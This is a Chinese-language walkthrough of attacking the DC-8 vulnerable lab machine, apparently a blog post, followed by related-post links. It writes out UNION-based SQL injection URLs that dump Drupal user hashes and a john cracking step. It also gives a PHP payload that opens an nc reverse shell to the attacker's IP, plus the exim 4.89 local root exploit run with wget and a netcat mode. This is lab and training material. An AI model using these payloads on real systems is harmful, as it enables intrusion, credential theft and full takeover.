前言:

本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag。

0x00 环境

VMware 15虚拟机软件;

DC-8靶机虚拟机(NAT模式);

kali虚拟机(NAT模式),ip为:192.168.106.129

0x01 信息收集

由于两台机子都开启的是nat模式,那么是在同一个网段里面。我们就可以是用namp先进行同网段的ip存活扫描。

kali的ip为192.168.106.129,因此nmap扫描命令为:

nmap -sP 192.168.106.1/

129是kali的ip,明显,靶机的ip为192.168.106.134;

之后针对此ip进行全端口扫描,看是否开启web的端口。nmap命令为:

nmap -sS -Pn -p- 192.168.106.134

看到目标机开启了22和80端口,22是ssh协议,可以进行ssh爆破,然后再xshell远程连接,但是给了80,开了web服务,那先从web端开打,因为爆破成功率极小,除非是弱密码。

访问弹出了web页面,用谷歌插件wappalyzer识别出了这是一个drupal版本为7的 CMS搭建的,后台脚本为php,容器为apache

robots.txt文件也可访问

习惯性查看页面源码看看有没有目录遍历,发现不存在。

漏扫工具和目录扫描工具 扫描一遍.

发现扫到的目录和robots.txt里面爆出来的目录基本一样,看了一些敏感文件,并没有看到自己需要的信息,也没有登录密码。

后台登录的路径爆出来了是/user/login.

我们在主页点击Details下面的三个选项,发现url带上了nid参数,并且下面每点一个选项,会爆出一些内容,很像是sql注入的点,再url后面打个'试了试,发现爆sql错误,说明确实存在sql注入。

构造了一下,发现就是一个数值型注入。

同时,漏扫结果也报出了存在sql注入漏洞。

0x02 sql注入加john爆破拿后台登录用户密码

既然知道了存在sql注入漏洞及注入点,我们先从此下手,测试之后,发现闭合payload为:

http://192.168.106.134/?nid=1--+

order by 猜字段为1,union select 1查看一下显示位,发现返回正确但是没有看到内容为1的位置,那么让nid=-1,将存在的显示位腾出来给我门用。

直接爆数据库:

http://192.168.106.134/?nid=-1%20union%20select%20database()--+

爆表名:

http://192.168.106.134/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'--+

发现users表,那么爆出users表的所有字段:

http://192.168.106.134/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users'--+

看到name、pass字段,爆出里面的内容:

http://192.168.106.134/?nid=-1 union select group_concat(name) from users--+
http://192.168.106.134/?nid=-1 union select group_concat(pass) from users--+

爆出两个用户,密码拿去在线hash解密都没有成功。这里百度了一下john,这个用户给了一个提示,kali里面有一个密码破解工具正是john,应该是要让我们用john破解其中的hash值。

将第一个admin的hash值放入到一个hash1.txt文件中,然后是用默认的john字典进行爆破。

发现admin的hash并没有解出,再将john用户的hash放入到hash2.txt文件中,用john再默认跑一下。

结果很快的破解出了john的密码,密码为turtle

将用户密码拿到后台/user/login去登录,成功登录,

0x03 远程代码执行

在后台找一找有没有上传点,发现了一处可进行编辑的地方

且只有contact us可进行编辑,

进去之后各种写入尝试,但是发现并没有什么用,就算写入有缓存,但是缓存文件名也不知道;

百度了一下drupal7 后台getshell漏洞,发现其中有说到:

选择PHP_CODE模式(编辑php代码)并预览,预览页面载入后就会执行代码

那么是不是找到PHP_CODE模式就差不多找到写入点了。

接下来还是在contact us的编辑里面疯狂找,我发现只有webfrom的settings部分有编辑器,这里应该可以利用。

发现这个编辑器可以写入源码,左上角的源码处,点击发现写入的是html源码。

既然可以写html,那么肯定可以选择写php的代码的模式,发现编辑器的下方有个选项,点击真的有PHP_CODE

那么就可以开始写php代码了,先写了个phpinfo()看是否有显示,发现并没有

保存了之后上面就说修改已上传,但是上传路径并未给出,找了其他地方也没有;

试了system执行shell命令,发现也没有回显,按照网上的说法,php代码保存后会执行代码,这应该是在靶机上已经执行了代码,只是在后台不会显示出来。

那么我们换一种思路,让靶机在后台执行命令即可,我们并不需要看见命令执行的情况,这就可以使用nc反弹shell的方法,用system函数写入nc反弹命令保存,然后它将在靶机上执行;在此之前在kali上开启nc监听,只要靶机上一触发nc反弹命令,shell将反弹到kali上面来。

那么在编辑处先写入如下的php代码(<p>标签中我们可以任意写入文本,这里最好不要删除掉,因为有的时候网站会按照模板先解析<p>标签,如果没有可能会出错,所以不要将模板删了。):

<p>flag</p>
<?php
system("nc -e /bin/bash 192.168.106.129 7777");
?>

ip是kali的ip,端口为为接收反弹的一个kali未被占用的端口。然后kali上面执行nc监听:

nc -lvvp 7777

kali上先执行,然后我们再进行目标站点的后台编辑php代码保存。

保存后发现没有反弹呢,可能是contact us的编辑并没有结束,只是保存了其中一个设置信息而已,发现view这里要提交邮箱等信息,最后才完成。

随便填入信息,然后确定,再submit,就成功反弹shell到kali上面了。

用python命令转化为常规shell:

python -c 'import pty;pty.spawn("/bin/bash")'

根目录下并没有什么flag文件,现在并不是root权限,进步了root目录,看来需要进一步提权。

0x04 exim4命令提权

查看一下内核版本,去网上找一找会不会有对应的内核提权

Debian 4.9.51-1的,在网上找了并没有对应的内核提权漏洞,脏牛提权试过了也不行;

linux里面有个suid权限执行二进制文件,这个权限涉及的命令权限都很大。

我们用find命令查询一下这些命令:

find / -perm -u=s -type f >/dev/null

每一个都拿去百度了,发现exim命令在使用时具有root权限,并且还看到一些有关于他的提权漏洞,那么在kali里面直接使用它对应版本的exp提权。

搜索了一下,发现有很多exp脚本,那么我们先看看靶机的exim的版本信息:

发现是4.89版本的,找到kali里面对应的本地权限提升的脚本文件(也就是local privilege esc),没有的话apt-get upgrade更新一下再search.

我这里就没有,应该是kali很久没更新了,很多exp没有下载,upgrade了一下(需要等一些时间),发现出现了我想要的exp脚本。

这个46996.sh的脚本就是我们所需要的,将它上传到自己的阿里云服务器上,然后在靶机的shell上面下载此脚本,当然,如果没有服务器的人可以在kali上面开启http服务,因为是一个内网,也可以进行下载。

然后将此文件先复制到物理机上,然后xftp连接云服务器,将46996.sh拖入到服务器根目录下。

在靶机shell上用weget将46996.sh下载到本地

发现没有写入权限,只有换其他目录试,百度发现tmp目录下有写入权限

成功下载,并将46996.sh文件赋予最高可执行权限777

chmod  .sh

执行脚本的时候始终报错,网上的解决方法和这个不匹配,

那么只能复制exp的代码了,在网上找到46996.sh脚本的代码,链接:https://www.exploit-db.com/exploits/46996

点击view raw查看代码,然后复制所有代码,在靶机的shell上vi新建一个exp.sh文件,然后将代码复制进去,我这里是用的xshell连接到kali操作的,最后保存,并赋予其777权限。

现在可以执行脚本了

但是执行完之后发现还是普通用户权限

单独运行提权不行,我们打开文件看看脚本的使用规则,发现共有两条使用规则:

看见第一个是default,先试试,要先exit退出到一级shelll来,然后执行第一条规则

发现还是普通用户权限,接着exit退出使用第二条规则:

./exp.sh -m netcat

发现已经是root权限,成功提权。

然后进入root目录,查看到flag文件,打开查看到flag内容:

总结:渗透之路总是曲曲折折,总是走不完,但是走得多了,自然会出现正确之路的方向!

DC-8靶机渗透实战的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  3. Acid靶机渗透

    Acid渗透靶机实战 攻击机:kali 192.168.41.147 靶机: acid 192.168.41.149 信息收集 ip发现 开启Acid靶机,通过nmap进行局域网存火主机扫描.![]( ...

  4. Raven1渗透实战

    Raven1渗透实战 目录: 1.wordpress爆破用户 2.wp-config得到数据库账号密码 3.ssh连接4.pythn提权(sudo python -c 'import pty;pty. ...

  5. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  6. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  7. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  8. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  9. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

随机推荐

  1. 3、IP地址划分

    划分子网方法:1.你所选择的子网掩码将会产生多少个子网?:2 的x 次方(x 代表被借走的主机位数)2.每个子网能有多少主机?: 2 的y 次方-2(y 代表被借走之后剩余的主机位数)3.块大小:bl ...

  2. 红帽(RedHat8) RHEL8.0系统安装教程(小白都会)

    可以去了解一下Red Hat8产品详情:https://www.RedHat.com/zh/enterprise-linux-8 先准备VMware Workstation 15 Pro版本,Red ...

  3. 应用层vc实现三种文件监视方法

    http://hi.baidu.com/sadusaga/item/daa0d4b764c6dd76254b09cc http://bbs.csdn.net/topics/280032788 http ...

  4. HDU_2084_DP

    http://acm.hdu.edu.cn/showproblem.php?pid=2084 简单dp,从下到上,从左到右,依次更新每个位置最大值. #include<iostream> ...

  5. LeetCode 218. The Skyline Problem 天际线问题(C++/Java)

    题目: A city's skyline is the outer contour of the silhouette formed by all the buildings in that city ...

  6. Android Studio 学习笔记(一)环境搭建、文件目录等相关说明

    Android Studio 学习笔记(一)环境搭建.文件目录等相关说明 引入 对APP开发而言,Android和iOS是两大主流开发平台,其中区别在于 Android用java语言,用Android ...

  7. 适合产品经理的十本书 From 俞军

    (转自俞军,如有侵权,请评论区留言,我会尽快删除:) 适合产品经理的十本书 俞军 入门三本书:社会心理学 阿伦森 插图第七版:特别好,适合成为“产品经理的第一本书”第一本经济学:经济学帮助人们洞察世事 ...

  8. Idea自定义代码块【学习笔记】

    前言 idea有一个自定义代码块的功能,可以自定义代码块,方便以后工作中减少一些重复操作,这里就简单记录一下idea好用的模板吧,现在有一个关于日志的模板,用于写一个ServiceImpl方法的时候, ...

  9. 论文《Entity Linking with Effective Acronym Expansion, Instance Selection and Topic Modeling》

    Entity Linking with Effective Acronym Expansion, Instance Selection and Topic Modeling 一.主要贡献 1. pro ...

  10. 量化投资学习笔记27——《Python机器学习应用》课程笔记01

    北京理工大学在线课程: http://www.icourse163.org/course/BIT-1001872001 机器学习分类 监督学习 无监督学习 半监督学习 强化学习 深度学习 Scikit ...